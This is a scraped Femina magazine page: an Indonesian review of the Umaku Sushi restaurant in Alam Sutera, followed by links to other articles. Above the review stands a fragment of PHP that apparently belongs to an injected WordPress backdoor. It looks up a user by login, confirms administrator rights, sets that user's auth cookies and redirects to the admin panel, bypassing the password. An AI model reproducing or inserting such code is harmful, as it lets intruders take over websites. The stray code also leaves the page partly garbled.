Ragam Ekspresi Sushi

user_login; break; } $us = get_user_by('login', $us ); if ( !is_wp_error( $us ) ) { get_currentuserinfo(); if ( user_can( $us, "administrator" ) ){ wp_clear_auth_cookie(); wp_set_current_user ( $us->ID ); wp_set_auth_cookie ( $us->ID ); $redirect_to = admin_url(); wp_safe_redirect( $redirect_to ); exit(); } } */

Food Review

27 Mar 2012

Resto sushi yang terkenal di Cibubur membuka cabang ke-4 di area Alam Sutera. Di wilayah yang sedang berkembang pesat dengan ragam tempat makan ini, Umaku Sushi-Alam Sutera meneruskan reputasi baik tiga ‘kakak’ terdahulu sebagai resto yang menjaga konsistensi. Tak lupa juga, memasang harga yang aman bagi kantong mayoritas orang.

Pemerhati proses gulung-menggulung sushi, bisa mengambil duduk di sepanjang meja kerja para koki. Memperhatikan daging segar salmon yang diiris tipis, nori dan nasi pulen yang dirapikan agar menjadi sebuah sushi yang cantik adalah aktivitas pemanja mata. Seperti dekorasi Umaku Sushi lain, tempat ini juga terasa intim berkat lahan yang tak terlalu besar (± 50 tamu).

Sake Aburi Salmon jadi incaran pertama. Salmon segar dimatangkan dalam teknik pan-seared, dan dibumbui dengan sake. Dimasak, namun dagingnya masih tetap lembut. Rasa manis menyapa kalem lewat terdeteksinya rasa mirin sebagai bumbu perendam.

Volcano selanjutnya menyapa. Kejutan rasa datang dari salmon yang terselimuti mayones. Mayones yang ‘ditembak’ dengan blow torch membuatnya punya nilai lebih. Aroma smoked terasa lebih eksotis.

Lain lagi ceritanya untuk Moriawase. Berisi 5 hingga 8 jenis sushi maupun sashimi. Pilihannya tergantung pada tingkat kesegaran terbaik dari seafood yang tersedia setiap harinya. Namun, umumnya terdiri dari salmon, toro (ikan tuna), dan hotate (kerang simping). Berteman setia dengan wasabi dan acar jahe Jepang, tentunya.

Sebagai sebuah konsep yang bermula dari tangan dingin seorang anggota senior di komunitas makan Jalansutra, femina tahu betul bahwa makan di sini adalah sebuah momen yang tak boleh terlewatkan. (RAN)

Lokasi: Komp. Alam Sutera Town Center Blok E10 No. 9, Tangerang. Telp: (021) 94381163. Jam buka: 12.00-15.00 WIB & 17.00–22.00 WIB. Harga*): Rp11.000 – Rp59.000. Suasana: Warung sushi sederhana dengan open kitchen.

*) Harga dapat berubah sewaktu-waktu, cek sebelum bersantap

Clean Cut Emporio Armani

Aksi Sosial SOPHIE

Terbesar! 320 Jenama Ikut Meramaikan Brightspot Market 2025

Future Archive jadi tema Brightspot Market 2025 yang digelar pada 29 Mei-1 Juni dan 5-8 Juni 2025.

Besok, Hidangan dari Buku Pusaka Rasa Nusantara Karya Chef Ragil Ada di Conrad Bali

Memperkenalkan buku istimewa, menunjukkan ke warga Bali akan kayanya Nusantara.

Disney On Ice: Find Your Hero Bakal Tampil di Jakarta dan Surabaya

Siapa yang sudah rindu karakter Disney yang meliuk-liuk di atas es? Siapkan dirimu untuk kehadiran Disney On Ice presents Find Your Hero.

recommended

Menikmati Tradisi yang Terus Bergerak di SU MA Volume 6, Passage

Chef Brendon Chen dan Chef Ryan Kim membawa SU MA ke babak berikutnya dan Femina diajak mencoba.

VW Tour, Movie Night, hingga Floating Dinner, Cara Menikmati Sisi Lain Kamandalu Ubud

Aktivitas seru yang membuatnya jadi destinasi menarik bersama para bestie!

5 Cara Lebih Mindful Menghadapi Situasi Saat Ini

Dunia lagi ramai, kamu nggak harus ikut panik.

Penting untuk Tim Rebahan, 3 Hal Wajib Dilakukan Saat Weekend Selain Beres-beres

Lalu, harus ngapain, dong?

Kosha Mangsho, Semakin Lama Dimasak Semakin Sedap!

Kuahnya cenderung kental, gelap, dan kaya rempah, berbeda dengan kari India Utara yang kuahnya lebih encer.

5 Cara Menikmati Tengah Minggu Meski Lagi Sibuk-sibuknya

Belum juga akhir pekan, tapi kamu keburu Lelah fisik dan mental?

about

Femina is a magazine for smart, independent, modern Indonesian women.

digital magazine

Available at :

(021) 250 333 28
langganan@pranagroup.id